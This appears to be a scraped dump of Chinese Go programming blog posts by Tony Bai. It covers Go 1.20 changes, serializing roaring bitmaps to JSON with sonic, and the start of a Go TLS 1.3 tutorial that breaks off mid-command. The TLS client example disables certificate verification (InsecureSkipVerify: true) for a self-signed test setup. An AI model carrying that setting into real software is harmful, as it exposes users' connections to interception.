1.17版本，如果没有再使用go 1.4。\nGo 1.20会寻找当前Go 1.17的最后一个版本Go 1.17.13，如果没有，则使用Go 1.4。\n将来，Go核心团队计划一年升级一次构建自举源码的Go编译器的版本，例如：Go 1.22版本将使用Go 1.20版本的编译器。\n5) cgo Go命令现在在没有C工具链的系统上会默认禁用了cgo。更具体来说，当CGO_ENABLED环境变量未设置，CC环境变量未设置以及PATH环境变量中没有找到默认的C编译器（通常是clang或gcc）时，CGO_ENABLED会被默认设置为0。\n3. 其他工具 1) 支持采集应用执行的代码盖率 在前瞻一文中，我提到过Go 1.20将对代码覆盖率的支持扩展到了应用整体层面，而不再仅仅是unit test。这里使用一个例子来看一下，究竟如何采集应用代码的执行覆盖率。我们以gitlab.com/esr/loccount这个代码统计工具为例，先修改一下Makefile，在go build后面加上-cover选项，然后编译loccount，并对其自身进行代码统计：\n// /home/tonybai/go/src/gitlab.com/loccount $make $mkdir mycovdata $GOCOVERDIR=./mycovdata loccount . all SLOC=4279 (100.00%) LLOC=1213 in 110 files Go SLOC=1724 (40.29%) LLOC=835 in 3 files asciidoc SLOC=752 (17.57%) LLOC=0 in 5 files C SLOC=278 (6.50%) LLOC=8 in 2 files Python SLOC=156 (3.65%) LLOC=0 in 2 files ... ... 上面执行loccount之前，我们建立了一个mycovdata目录，并设置GOCOVERDIR的值为mycovdata目录的路径。在这样的上下文下，执行loccount后，mycovdata目录下会生成一些覆盖率统计数据文件：\n$ls mycovdata covcounters.4ec45ce64f965e77563ecf011e110d4f.926594.1675678144659536943 covmeta.4ec45ce64f965e77563ecf011e110d4f 怎么查看loccount的执行覆盖率呢？我们使用go tool covdata来查看：\n$go tool covdata percent -i=mycovdata loccount coverage: 69.6% of statements 当然, covdata子命令还支持其他一些功能，大家可以自行查看manual挖掘。\n2) vet Go 1.20版本中，go工具链的vet子命令增加了两个十分实用的检测：\n对loopclosure这一检测策略进行了增强 具体可参见https://github.com/golang/tools/tree/master/go/analysis/passes/loopclosure代码\n增加对2006-02-01的时间格式的检查 注意我们使用time.Format或Parse时，最常使用的是2006-01-02这样的格式，即ISO 8601标准的时间格式，但一些代码中总是出现2006-02-01，十分容易导致错误。这个版本中，go vet将会对此种情况进行检查。\n三. 运行时与标准库 1. 运行时(runtime) Go 1.20运行时的调整并不大，仅对GC的内部数据结构进行了微调，这个调整可以获得最多2%的内存开销下降以及cpu性能提升。\n2. 标准库 标准库肯定是变化最多的那部分。前瞻一文中对下面变化也做了详细介绍，这里不赘述了，大家可以翻看那篇文章细读：\n支持wrap multiple errors time包新增DateTime、DateOnly和TimeOnly三个layout格式常量 新增arena包\n… … 标准库变化很多，这里不能一一罗列，再补充一些我认为重要的，其他的变化大家可以到Go 1.20 Release Notes去看：\n1) arena包 前瞻一文已经对arena包做了简要描述，对于arena包的使用以及最佳适用场合的探索还在进行中。著名持续性能剖析工具pyroscope的官方博客文章《Go 1.20 arenas实践：arena vs. 传统内存管理》对于arena实验特性的使用给出了几点好的建议，比如：\n只在关键的代码路径中使用arena，不要到处使用它们 在使用arena之前和之后对你的代码进行profiling，以确保你在能提供最大好处的地方添加arena。 密切关注arena上创建的对象的生命周期。确保你不会把它们泄露给你程序中的其他组件，因为那里的对象可能会超过arena的寿命。 使用defer a.Free()来确保你不会忘记释放内存。 如果你想在arena被释放后使用对象，使用arena.Clone()将其克隆回heap中。 pyroscope的开发人员认为arena是一个强大的工具，也支持标准库中保留arena这个特性，但也建议将arena和reflect、unsafe、cgo等一样纳入“不推荐”使用的包行列。这点我也是赞同的。我也在考虑如何基于arena改进我们产品的协议解析器的性能，有成果后，我也会将实践过程分享出来的。\n2) 新增crypto/ecdh包 密码学包(crypto)的主要maintainer Filippo Valsorda从google离职后，成为了一名专职开源项目维护者。这似乎让其更有精力和动力对crypto包进行更好的规划、设计和实现了。crypto/ecdh包就是在他的提议下加入到Go标准库中的。\n相对于标准库之前存在的crypto/elliptic等包，crypto/ecdh包的API更为高级，Go官方推荐使用ecdh的高级API，这样大家以后可以不必再与低级的密码学函数斗争了。\n3) HTTP ResponseController 以前HTTP handler的超时都是http服务器全局指定一个的：包括ReadTimeout和WriteTimeout。但有些时候，如果能在某个请求范围内支持这些超时（以及可能的其他选项）将非常有用。Damien Neil就创建了这个增加ResponseController的提案，下面是一个在HandlerFunc中使用ResponseController的例子：\nhttp.HandleFunc(\u0026quot;/foo\u0026quot;, func(w http.ResponseWriter, r *http.Request) { ctl := http.NewResponseController(w, r) ctl.SetWriteDeadline(time.Now().Add(1 * time.Minute)) // 仅为这个请求设置deadline fmt.Fprintln(w, \u0026quot;Hello, world.\u0026quot;) // 这个写入的timeout为1-minute }) 4) context包增加WithCancelCause函数 context包新增了一个WithCancelCause函数，与WithCancel不同，通过WithCancelCause返回的Context，我们可以得到cancel的原因，比如下面示例：\n// https://github.com/bigwhite/experiments/blob/master/go1.20-examples/library/context.go func main() { myError := fmt.Errorf(\u0026quot;%s\u0026quot;, \u0026quot;myError\u0026quot;) ctx, cancel := context.WithCancelCause(context.Background()) cancel(myError) fmt.Println(ctx.Err()) // context.Canceled fmt.Println(context.Cause(ctx)) // myError } 我们看到通过context.Cause可以得到Context在cancel时传入的错误原因。\n四. 移植性 Go对新cpu体系结构和OS的支持向来是走在前面的。Go 1.20还新增了对freebsd在risc-v上的实验性支持，其环境变量为GOOS=freebsd, GOARCH=riscv64。但Go 1.20也将成为对下面平台提供支持的最后一个Go版本：\nWindows 7, 8, Server 2008和Server 2012 MacOS 10.13 High Sierra和10.14 (我的安装了10.14的mac os又要在go 1.21不被支持了^_^) 近期Go团队又有了新提案：支持WASI(GOOS=wasi GOARCH=wasm)，WASI是啥，它是WebAssembly一套与引擎无关(engine-indepent)的、面向非Web系统的WASM API标准，是WebAssembly脱离浏览器的必经之路！一旦生成满足WASI的WASM程序，该程序就可以在任何支持WASI或兼容的runtime上运行。不出意外，该提案将在Go 1.21或Go 1.22版本落地。\n本文中的示例代码可以在这里下载。\n“Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2023年，Gopher部落将进一步聚焦于如何编写雅、地道、可读、可测试的Go代码，关注代码质量并深入理解Go核心技术，并继续加强与星友的互动。欢迎大家加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2023/02/08/some-changes-in-go-1-20/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/some-changes-in-go-1-20-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2023/02/08/some-changes-in-go-1-20\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2023/02/08/some-changes-in-go-1-20\"\u003ehttps://tonybai.com/2023/02/08/some-changes-in-go-1-20\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e美国时间2023年2月1日，唯一尚未退休的Go语言之父\u003ca href=\"https://github.com/griesemer\"\u003eRobert Griesemer\u003c/a\u003e代表Go核心开发团队在\u003ca href=\"https://go.dev/blog/go1.20\"\u003eGo官博撰文正式发布了Go 1.20版本\u003c/a\u003e。就像\u003ca href=\"https://www.youtube.com/watch?v=v24wrd3RwGo\"\u003eRuss Cox在2022 GopherCon大会\u003c/a\u003e所说的那样：\u003cstrong\u003e\u003ca href=\"https://tonybai.com/2022/12/29/the-2022-review-of-go-programming-language\"\u003eGo2永不会到来，Go 1.x.y将无限延续\u003c/a\u003e\u003c/strong\u003e！\u003c/p\u003e","title":"Go 1.20中值得关注的几个变化"},{"content":"\n本文永久链接 – https://tonybai.com/2023/02/01/serialize-roaring-bitmap-to-json\n近期在实现一个数据结构时使用到了位图索引(bitmap index)，本文就来粗浅聊聊位图(bitmap)。\n一. 什么是bitmap 位图索引使用位数组(bit array，也有叫bitset的，通常被称为位图(bitmap)，以下均使用bitmap这个名称)实现。一个bitmap是一个从某个域（通常是一个整数范围）到集合{0，1}中的值的映射：\n映射：f(x) -\u0026gt; {0, 1}， x是[0, n)的集合中的元素。 以n=8的集合{1, 2, 5}为例：\nf(0) = 0 f(1) = 1 f(2) = 1 f(3) = 0 f(4) = 0 f(5) = 1 f(6) = 0 f(7) = 0 如果用bit来表示映射后得到的值，我们将得到一个二进制数0b00100110(最右侧的bit位上的值指示集合中数值0的存在性)，这样我们就可以用一个字节大小的数值0b00100110来表示{1, 2, 5}这个集合中各个位置的数值的存在性了。\n我们看到相比于使用一个byte数组来表示{1, 2, 5}这个集合(即便是8个数值，也至少要8x8=64个字节)，bitmap无疑具有更高的空间利用率。同时，通过bitmap的与、或、异或等操作，我们可以很容易且高性能地得到集合的交、并、Top-K等集合操作的结果。\n不过，传统的bitmap并不总能带来空间上的节省，比如我们要表示{1, 2, 10, 50000000}这样一个集合，那么使用传统bitmap将带来很大的空间开销。对于这样的具有稀疏元素特性的集合，传统位图实现就失去了其优势，而压缩位图(compressed bitmap)则成为了更佳的选择。\n二. 压缩位图(compressed bitmap) 压缩位图既可以很好的支持稀疏集合，又保留了传统位图的空间和高性能的集合操作优势。最常见的压缩位图的方案是RLE(run-length encoding)，对这种方案的粗浅理解是对连续的0和1进行分别计数，比如下面这bitmap就可以压缩编码为n个0和m和1：\n0b0000....00001111...111 RLE方案(以及其变体)具有很好的压缩比并且编解码也很高效。不过其不足是很难随机访问某个bit，每次访问特定的bit都要从头进行解压缩。如果你想将两个大的bitmap进行交集操作，你必须解压缩整个大bitmap。\n一种名为roaring bitmap的压缩位图方案可以解决上述的问题。\n三. roaring bitmap工作原理简介 roaring bitmap 的工作方式是这样的：它将32位整型所能表示的整型数[0, 4294967296)划分为2^16个chunk（例如，[0，2^16)，[2^16，2x2^16)，\u0026hellip;）。当向roaring bitmap加入一个数或从roaring bitmap获取一个数的存在性时，roaring bitmap通过这个数的前16位决定该数在哪个trunk中。一旦确定trunk后，便可以通过与该trunk关联的container指针找到真正存储该数后16位值的container，在container中通过查找算法定位：\n如上图所示：roaring bitmap的trunk关联的container类型不止有一种：\narray container：这是一个有序的16bit整型数组，也是默认的container type，最多存储4096个数值。当超出这个数量时，会考虑用bitset container存储； bitset container：就是一个非压缩的bitmap，有2^16个bit位； run container：这是一个采用RLE压缩的、适合存储连续数值的container type，从上面图中也可以看出，这个container中存储的是一个个数对\u0026lt;s,l\u0026gt;，表示的数值范围为[s, s + l]。 roaring bitmap会根据trunk中的数的特征选择适当的container类型，并且这种选择是动态的，以尽量减少内存使用为目标。当我们向roaring bitmap添加或删除值时，对应trunk的container type都可能会改变。不过从整体视角看，无论使用哪种container，roaring bitmap都支持对某个bit的快速随机访问。同时roaring bitmap在实现层面也更容易利用现代cpu提供的高性能指令，并且是缓存友好的。\n四. roaring bitmap的效果 roaring bitmap官方提供了多种主流语言的实现，其中Go语言的实现是roaring包。roaring包的使用十分简单，下面就是一个简单的示例：\npackage main import ( \u0026quot;fmt\u0026quot; \u0026quot;github.com/RoaringBitmap/roaring\u0026quot; ) func main() { rb := roaring.NewBitmap() rb.Add(1) rb.Add(100000000) fmt.Println(rb.String()) fmt.Println(rb.Contains(1)) fmt.Println(rb.Contains(2)) fmt.Println(rb.Contains(100000000)) fmt.Println(\u0026quot;cardinality:\u0026quot;, rb.GetCardinality()) fmt.Println(\u0026quot;rb size=\u0026quot;, rb.GetSizeInBytes()) } 运行示例得到如下结果：\n{1,100000000} true false true cardinality: 2 rb size= 16 我们看到{1, 100000000}的稀疏集合映射到roaring bitmap仅占用了16个字节的空间(和非压缩bitmap对比)。\n下面是一个由3000w以内的随机整数构成的集合到roaring bitmap的映射示例：\nfunc main() { rb := roaring.NewBitmap() for i := 0; i \u0026lt; 30000000; i++ { rb.Add(uint32(rand.Int31n(30000000))) } fmt.Println(\u0026quot;cardinality:\u0026quot;, rb.GetCardinality()) fmt.Println(\u0026quot;rb size=\u0026quot;, rb.GetSizeInBytes()) } 下面是其执行结果：\ncardinality: 18961805 rb size= 3752860 我们看到集合中一共加入近1900w个数，roaring bitmap总共占用了3.6MB的内存空间，这个和非压缩bitmap没有拉开差距。\n下面是一个连续的3000w数字的集合到roaring bitmap的映射示例：\nfunc main() { rb := roaring.NewBitmap() for i := 0; i \u0026lt; 30000000; i++ { rb.Add(uint32(i)) } fmt.Println(\u0026quot;cardinality:\u0026quot;, rb.GetCardinality()) fmt.Println(\u0026quot;rb size=\u0026quot;, rb.GetSizeInBytes()) } 其执行结果如下：\ncardinality: 30000000 rb size= 21912 显然针对这样的连续数字集合，roaring bitmap的空间效率体现的十分明显。\n五. roaring bitmap的序列化 以上是对roaring bitmap的粗浅入门介绍，如果对roaring bitmap感兴趣，可以去其官方站点或开源项目主页做深入了解和学习。不过这里我要说的是roaring bitmap的序列化问题(序列化后便可以传输和持久化存储了)，以序列化为JSON和从JSON反序列化为例。\n考虑到性能问题，json序列化我选择的是字节开源的sonic项目。sonic虽然说是一个Go开源项目，但由于其对JSON解析的极致优化的要求，目前该项目中Go代码的占比仅有30%不到，60%多都是汇编代码。sonic提供与Go标准库json包兼容的函数接口，并且sonic还支持streaming I/O模式，支持将特定类型对象序列化到io.Writer或从io.Reader中反序列化数据为一个特定类型对象，这个也是标准库json包所不支持的。当遇到超大JSON时，streaming I/O模式十分惯用，io.Writer和Reader可以让你的Go应用不至于瞬间分配大量内存，甚至被oom killed掉。\n不过roaring bitmap并没有原生提供序列化(marshal)到JSON(或反向序列化)的函数/方法，那么我们如何将一个roaring bitmap序列化为一个JSON文本呢？Go标准库json包提供了Marshaler和Unmarshaler接口，凡是实现了这两个接口的自定义类型，json包都可以支持该自定义类型的序列化和反序列化。在这方面，sonic项目与Go标准库json包保持兼容。\n不过roaring.Bitmap类型并没有实现Marshaler和Unmarshaler接口，roaring.Bitmap的序列化和反序列化需要我们自己来完成。\n那么，我们首先想到的就是基于roaring.Bitmap自定义一个新类型，比如MyRB：\n// https://github.com/bigwhite/experiments/blob/master/roaring-bitmap-examples/bitmap_json.go type MyRB struct { RB *roaring.Bitmap } 然后，我们给出MyRB的MarshalJSON和UnmarshalJSON方法的实现以满足Marshaler和Unmarshaler接口的要求：\n// https://github.com/bigwhite/experiments/blob/master/roaring-bitmap-examples/bitmap_json.go func (rb *MyRB) MarshalJSON() ([]byte, error) { s, err := rb.RB.ToBase64() if err != nil { return nil, err } r := fmt.Sprintf(`{\u0026quot;rb\u0026quot;:\u0026quot;%s\u0026quot;}`, s) return []byte(r), nil } func (rb *MyRB) UnmarshalJSON(data []byte) error { // data =\u0026gt; {\u0026quot;rb\u0026quot;:\u0026quot;OjAAAAEAAAAAAB4AEAAAAAAAAQACAAMABAAFAAYABwAIAAkACgALAAwADQAOAA8AEAARABIAEwAUABUAFgAXABgAGQAaABsAHAAdAB4A\u0026quot;} _, err := rb.RB.FromBase64(string(data[7 : len(data)-2])) if err != nil { return err } return nil } 我们利用roaring.Bitmap提供的ToBase64方法将roaring bitmap转换为一个base64字符串，然后再序列化为JSON；反序列化则是利用FromBase64对JSON数据进行解码。下面我们测试一下MyRB类型与JSON间的相互转换：\n// https://github.com/bigwhite/experiments/blob/master/roaring-bitmap-examples/bitmap_json.go func main() { var myrb = MyRB{ RB: roaring.NewBitmap(), } for i := 0; i \u0026lt; 31; i++ { myrb.RB.Add(uint32(i)) } fmt.Printf(\u0026quot;the cardinality of origin bitmap = %d\\n\u0026quot;, myrb.RB.GetCardinality()) buf, err := sonic.Marshal(\u0026amp;myrb) if err != nil { panic(err) } fmt.Printf(\u0026quot;bitmap2json: %s\\n\u0026quot;, string(buf)) var myrb1 = MyRB{ RB: roaring.NewBitmap(), } err = sonic.Unmarshal(buf, \u0026amp;myrb1) if err != nil { panic(err) } fmt.Printf(\u0026quot;after json2bitmap, the cardinality of new bitmap = %d\\n\u0026quot;, myrb1.RB.GetCardinality()) } 运行该示例：\nthe cardinality of origin bitmap = 31 bitmap2json: {\u0026quot;rb\u0026quot;:\u0026quot;OjAAAAEAAAAAAB4AEAAAAAAAAQACAAMABAAFAAYABwAIAAkACgALAAwADQAOAA8AEAARABIAEwAUABUAFgAXABgAGQAaABsAHAAdAB4A\u0026quot;} after json2bitmap, the cardinality of new bitmap = 31 输出结果符合预期。\n基于支持序列化的MyRB，顺便我们再看一下sonic和标准库json的benchmark对比，我们编写一个简单的对比测试用例：\n// https://github.com/bigwhite/experiments/blob/master/roaring-bitmap-examples/benchmark_test.go type Foo struct { N int `json:\u0026quot;num\u0026quot;` Name string `json:\u0026quot;name\u0026quot;` Addr string `json:\u0026quot;addr\u0026quot;` Age string `json:\u0026quot;age\u0026quot;` RB MyRB `json:\u0026quot;myrb\u0026quot;` } func BenchmarkSonicJsonEncode(b *testing.B) { var f = Foo{ N: 5, RB: MyRB{ RB: roaring.NewBitmap(), }, } for i := 0; i \u0026lt; 3000; i++ { f.RB.RB.Add(uint32(i)) } b.ReportAllocs() b.ResetTimer() for i := 0; i \u0026lt; b.N; i++ { _, err := sonic.Marshal(\u0026amp;f) if err != nil { panic(err) } } } func BenchmarkSonicJsonDecode(b *testing.B) { var f = Foo{ N: 5, RB: MyRB{ RB: roaring.NewBitmap(), }, } for i := 0; i \u0026lt; 3000; i++ { f.RB.RB.Add(uint32(i)) } buf, err := sonic.Marshal(\u0026amp;f) if err != nil { panic(err) } var f1 = Foo{ RB: MyRB{ RB: roaring.NewBitmap(), }, } b.ReportAllocs() b.ResetTimer() for i := 0; i \u0026lt; b.N; i++ { err = sonic.Unmarshal(buf, \u0026amp;f1) if err != nil { panic(err) } } } func BenchmarkStdJsonEncode(b *testing.B) { var f = Foo{ N: 5, RB: MyRB{ RB: roaring.NewBitmap(), }, } for i := 0; i \u0026lt; 3000; i++ { f.RB.RB.Add(uint32(i)) } b.ReportAllocs() b.ResetTimer() for i := 0; i \u0026lt; b.N; i++ { _, err := json.Marshal(\u0026amp;f) if err != nil { panic(err) } } } func BenchmarkStdJsonDecode(b *testing.B) { var f = Foo{ N: 5, RB: MyRB{ RB: roaring.NewBitmap(), }, } for i := 0; i \u0026lt; 3000; i++ { f.RB.RB.Add(uint32(i)) } buf, err := json.Marshal(\u0026amp;f) if err != nil { panic(err) } var f1 = Foo{ RB: MyRB{ RB: roaring.NewBitmap(), }, } b.ReportAllocs() b.ResetTimer() for i := 0; i \u0026lt; b.N; i++ { err = json.Unmarshal(buf, \u0026amp;f1) if err != nil { panic(err) } } } 执行这个benchmark：\n$go test -bench . goos: darwin goarch: amd64 pkg: demo ... ... BenchmarkSonicJsonEncode-8 71176 16331 ns/op 49218 B/op 13 allocs/op BenchmarkSonicJsonDecode-8 85080 13710 ns/op 37236 B/op 11 allocs/op BenchmarkStdJsonEncode-8 24490 49345 ns/op 47409 B/op 10 allocs/op BenchmarkStdJsonDecode-8 20083 59593 ns/op 29000 B/op 15 allocs/op PASS ok demo 6.166s 从我们这个benchmark结果可以看到，sonic要比标准库json包快3-4倍。\n本文中代码可以到这里下载。\n六. 参考资料 Roaring Bitmap : June 2015 report - https://es.slideshare.net/lemire/roaringprezi-49478534 Roaring Bitmap官网 - https://roaringbitmap.org/ Roaring Bitmap Spec - https://github.com/RoaringBitmap/RoaringFormatSpec Roaring Bitmap Go实现 - https://github.com/RoaringBitmap/roaring 字节跳动的sonic项目 - https://github.com/bytedance/sonic paper: Consistently faster and smaller compressed bitmaps with Roaring - https://arxiv.org/pdf/1603.06549.pdf 基于Bitmap的精确去重和用户行为分析 - http://ai.baidu.com/forum/topic/show/987701 paper: Roaring Bitmaps: Implementation of an Optimized Software Library - https://arxiv.org/pdf/1709.07821.pdf “Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2023年，Gopher部落将进一步聚焦于如何编写雅、地道、可读、可测试的Go代码，关注代码质量并深入理解Go核心技术，并继续加强与星友的互动。欢迎大家加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 - https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2023/02/01/serialize-roaring-bitmap-to-json/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/serialize-roaring-bitmap-to-json-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2023/02/01/serialize-roaring-bitmap-to-json\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2023/02/01/serialize-roaring-bitmap-to-json\"\u003ehttps://tonybai.com/2023/02/01/serialize-roaring-bitmap-to-json\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e近期在实现一个数据结构时使用到了\u003ca href=\"https://en.wikipedia.org/wiki/Bitmap_index\"\u003e位图索引(bitmap index)\u003c/a\u003e，本文就来粗浅聊聊位图(bitmap)。\u003c/p\u003e\n\u003ch3 id=\"一-什么是bitmap\"\u003e一. 什么是bitmap\u003c/h3\u003e\n\u003cp\u003e位图索引使用位数组(bit array，也有叫bitset的，通常被称为位图(bitmap)，以下均使用bitmap这个名称)实现。一个bitmap是一个从某个域（通常是一个整数范围）到集合{0，1}中的值的映射：\u003c/p\u003e","title":"将Roaring Bitmap序列化为JSON"},{"content":"\n本文永久链接 – https://tonybai.com/2023/01/13/go-and-tls13\n除了一些综述类文章和译文，我的文章选题多来源于实际工作和学习中遇到的问题。这次我们来聊聊近期遇到一个问题：如何加快基于TLS安全通信的海量连接的建连速度?\nTLS(Transport Layer Security)传输安全层的下面是TCP层，我们首先可能会想到的是优化内核有关TCP握手的相关参数来快速建立TCP连接，比如：\nnet.ipv4.tcp_max_syn_backlog net.ipv4.tcp_syncookies net.ipv4.tcp_synack_retries net.ipv4.tcp_abort_on_overflow net.core.somaxconn … … 关于Linux内核参数调优，大家可以参考一下极客时间专栏《系统性能调优必知必会》\n此外为了加速海量连接的建连速度，提高应用从内核accept连接队列获取连接的速度，我们还可以采用多线程/多goroutine并发Listen同一个端口并并发Accept的机制，如果你使用的是Go语言，可以看看go-reuseport这个包。\n说完TCP层，那么TLS层是否有可优化的、对建连速度有影响的地方呢？有的，那就是使用TLS 1.3版本来加速握手过程，从而加快建连速度。TLS 1.3是2018年发布的新TLS标准，近2-3年才开始得到主流语言、浏览器和web服务器的支持。那么它与之前的TLS 1.2有何不同呢？Go对TLS 1.3版本的支持程度如何？如何用Go编写使用TLS 1.3的安全通信代码？TLS 1.3建连速度究竟比TLS 1.2快多少呢？\n带着这些问题，我们进入本篇正文部分！我们先来简要看看TLS 1.3与TLS 1.2版本的差异。\n1. TLS 1.3与TLS 1.2的差异 TLS是由互联网工程任务组(Internet Engineering Task Force, IETF)制定和发布的、用于替代SSL的、基于加解密和签名算法的安全连接协议标准，其演进过程如下图：\n其中TLS 1.0和1.1版本因不再安全，于2020年被作废，目前主流的版本，也是应用最为广泛的是2008年发布的TLS 1.2版本(使用占比如下图统计)，而最新版本则是2018年正式发布的TLS 1.3，而TLS 1.3版本的发布也意味着TLS 1.2版本进入“作废期”，虽然实际中TLS 1.2的“下线”还需要很长时间：\nTLS 1.3与TLS 1.2并不不兼容，在TLS 1.3协议规范中，我们能看到列出的TLS 1.3相对于TLS 1.2的一些主要改动：\n去除了原先对称加密算法列表中的非AEAD(Authenticated Encryption with Associated Data)算法，包括3DES、RC4、AES-CBC等，只支持更安全的加密算法。 注：常见的AEAD算法包括：AES-128-GCM、AES-256-GCM、ChaCha20-IETF-Poly1305等。在具备AES加速的CPU（桌面，服务器）上，建议使用AES-XXX-GCM系列，移动设备建议使用ChaCha20-IETF-Poly1305系列。\n静态RSA和Diffie-Hellman密码套件(cipher suites)已被删除；所有基于公钥的密钥交换机制现在都提供前向安全性。 注：前向安全(Forward Secrecy)是指的是长期使用的主密钥泄漏不会导致过去的会话密钥泄漏。前向安全能够保护过去进行的通讯不受密码或密钥在未来暴露的威胁。如果系统具有前向安全性，就可以保证在主密钥泄露时历史通讯的安全，即使系统遭到主动攻击也是如此。\nTLS 1.2版本的协商机制已被废弃，引入了一个更快的新的密钥协商机制：PSK(Pre-Shared Key)，简化了握手流程(下图是TLS 1.2与TLS 1.3握手流程的对比)。同时在ServerHello之后的所有握手信息现在都被加密了，以前在ServerHello中以明文方式发送的各种扩展信息现在也可以享受加密保护。 增加了一个零往返时间（0-RTT）模式，在恢复连接建立时为一些应用数据节省了一个往返时间。但代价是丧失了某些安全属性。 注：当客户端（例如浏览器）首次成功完成与服务器的TLS 1.3握手后，客户端和服务器都可在本地存储预共享的加密密钥，这称为恢复主密钥。如果客户端稍后再次与服务器建立连接，则可以使用此恢复密钥将其第一条消息中的加密应用程序数据发送到服务器，而无需第二次执行握手。0-RTT模式有一个安全弱点。通过恢复模式发送数据不需要服务器的任何交互，这意味着攻击者（一般是中间人(middle-man)）可以捕获加密的0-RTT数据，然后将其重新发送到服务器，或重放（Replay）它们。解决此问题的方法是确保所有0-RTT请求都是幂等的。\n在这些主要变化中，与初次建连速度有关的显然是TLS 1.3握手机制的变化：从2-RTT缩短到1-RTT(如上图所示)。下面我们就用Go作为示例来看看TLS 1.3相对于TLS 1.2在建连速度方面究竟有怎样的提升。\n2. Go对TLS 1.3的支持 Go语言从Go 1.12版本开始提供对TLS 1.3的可选支持。在Go 1.12版本下，你通过设置GODEBUG=tls13=1并且不显式设置tls Config的MaxVersion的情况下，便会开启TLS 1.3。这个版本实现中暂不支持TLS 1.3的0-RTT的特性。\nGo 1.13版本默认情况下开启TLS 1.3，你可以使用GODEBUG=tls13=0关闭对TLS 1.3的支持。\n等到了Go 1.14版本，TLS 1.3成为默认TLS版本选项且无法再用GODEBUG=tls13=0关闭了！不过，通过Config.MaxVersion可以配置要使用的TLS版本。\nGo 1.16版本中，在服务端或客户端不支持AES硬件加速的情况下，server端会优先选择其他AEAD的密码套件(cipher suite)，比如ChaCha20Poly1305，而不会选择AES-GCM密码套件。\nGo 1.18版本中，client端的Config.MinVersion将默认为TLS 1.2, 以替代原先的默认值TLS 1.0/TLS 1.1。不过你可以通过显式设置客户端的Config.MinVersion来改变这个设置。不过这个改动不影响server端。\n了解了这些后，我们来看一个简单的使用Go和TLS 1.3版本的客户端与服务端示例。\n3. Go TLS 1.3客户端与服务端通信示例 这次我们不去参考Go标准库crypto/tls包的样例，我们玩把时髦儿的：通过AI辅助生成一套基于TLS的client与server端的通信代码示例。ChatGPT不对大陆开放，我这里用的是AI编程助手(AICodeHelper)，下面是生成过程的截图：\nAICodeHelper为我们生成了大部分代码，但是server端代码有两个问题：只能处理一个client端连接和没有生成传入server证书和私钥的代码段，我们基于上面的框架代码做一下修改，得到我们的server和client端代码：\nserver端代码： // https://github.com/bigwhite/experiments/blob/master/go-and-tls13/server.go package main import ( \u0026quot;bufio\u0026quot; \u0026quot;crypto/tls\u0026quot; \u0026quot;fmt\u0026quot; \u0026quot;net\u0026quot; ) func main() { cer, err := tls.LoadX509KeyPair(\u0026quot;server.crt\u0026quot;, \u0026quot;server.key\u0026quot;) if err != nil { fmt.Println(err) return } config := \u0026amp;tls.Config{Certificates: []tls.Certificate{cer}} ln, err := tls.Listen(\u0026quot;tcp\u0026quot;, \u0026quot;localhost:8443\u0026quot;, config) if err != nil { fmt.Println(err) return } defer ln.Close() for { conn, err := ln.Accept() if err != nil { fmt.Println(err) continue } go handleConnection(conn) } } func handleConnection(conn net.Conn) { defer conn.Close() r := bufio.NewReader(conn) for { msg, err := r.ReadString('\\n') if err != nil { fmt.Println(err) return } println(msg) n, err := conn.Write([]byte(\u0026quot;hello, world from server\\n\u0026quot;)) if err != nil { fmt.Println(n, err) return } } } // https://github.com/bigwhite/experiments/blob/master/go-and-tls13/client.go package main import ( \u0026quot;crypto/tls\u0026quot; \u0026quot;log\u0026quot; ) func main() { conf := \u0026amp;tls.Config{ InsecureSkipVerify: true, } conn, err := tls.Dial(\u0026quot;tcp\u0026quot;, \u0026quot;localhost:8443\u0026quot;, conf) if err != nil { log.Println(err) return } defer conn.Close() n, err := conn.Write([]byte(\u0026quot;hello, world from client\\n\u0026quot;)) if err != nil { log.Println(n, err) return } buf := make([]byte, 100) n, err = conn.Read(buf) if err != nil { log.Println(n, err) return } println(string(buf[:n])) } 为了方便期间，这里使用自签名证书，并且客户端不对服务端的公钥数字证书进行验签(我们无需生成创建CA的相关key和证书)，我们只需要使用下面命令生成一对server.key和server.crt：\n$openssl genrsa -out server.key 2048 Generating RSA private key, 2048 bit long modulus ..........................+++ ................................+++ e is 65537 (0x10001) $openssl req -new -x509 